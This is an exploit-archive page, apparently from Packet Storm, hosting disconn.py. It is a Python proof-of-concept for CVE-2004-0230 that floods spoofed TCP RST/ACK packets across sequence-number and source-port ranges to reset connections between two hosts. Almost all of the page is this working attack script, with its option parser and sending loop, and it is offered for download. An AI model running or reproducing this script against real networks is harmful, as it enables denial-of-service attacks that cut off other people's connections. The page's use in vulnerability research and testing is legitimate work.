exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

disconn.py

disconn.py
Posted Apr 28, 2004
Authored by Michael Gschwandtner | Site anyplay.tznetz.com

Sample proof of concept exploit that demonstrates the TCP vulnerability discovered by Paul A. Watson. Python version.

tags | exploit, tcp, proof of concept, python
advisories | CVE-2004-0230
SHA-256 | 80fbb1b75432221e765f2f7267fdcea0bd46642b06db40424528f8dc9503f573

disconn.py

Change Mirror Download
#!/usr/bin/python
#
# Version: 1.1
# Copyright 2004 r3d5un
#
# disconn.py is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# disconn.py is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with disconn.py; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
# Version 1.1 changes:
# -se option added (Sequence End). This allows the
# user to specify an upper sequnece number, and thus
# the distribution to more clients.
#
# i.e 4 Hosts 0-1000000000 1000000001-2000000000
# 2000000001-3000000000 3000000001-4294967295
#
#
#

import btk
import sys
import string

def cmdParser(args):
pos = 1
quiet = False
seq = 0
maxseqnum = 4294967295
win = 8000
running = True
while running:
running = False
if args[pos] == "-s":
try:
seq = long(args[pos+1])
pos = pos + 2
running = True
except:
pos = pos + 1
if args[pos] == "-se":
try:
maxseqnum = long(args[pos+1])
pos = pos + 2
running = True
except:
pos = pos +1
elif args[pos] == "-w":
try:
win = long(args[pos+1])
pos = pos + 2
running = True
except:
pos = pos + 1

elif args[pos] == "-q":
quiet = True
running = True
pos = pos + 1

dstip = args[pos]
dstport = int(args[pos+1])
srcip = args[pos+2]
tmp = string.split(args[pos+3],":")
try:
srcport1 = int(tmp[0])
srcport2 = int(tmp[1])
except:
srcport1 = srcport2 = int(tmp[0])

return dstip,dstport,srcip,srcport1,srcport2,seq,maxseqnum,win,quiet



try:
args = sys.argv
dstip,dstport,srcip,srcport1,srcport2,seqnum,maxseqnum,win,quiet = cmdParser(args)

if not quiet:
print "Attacking " + dstip + " <--> " + srcip

packet = btk.btk()
packet.protocol(btk.TCP)
packet.flags(btk.RST | btk.ACK)

i = seqnum
k = 0
while i < maxseqnum:
packet.options(seq=long(i))
packet.options(ack=long(i))
for p in range (srcport1, srcport2+1):
packet.send(dstip,dstport,srcip,p)
k=(k+1)%1000
if k == 0:
if not quiet:
print "1000 Packets sent (seqnum="+str(i)+")"
i = i + win
except:
print "Usage: disconn.py [-q] [-s <seqnum>] [-se <endseqnum>] [-w <windowsize>] <dst.ip> <dst.port> <src.ip> <src.port>\n"

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close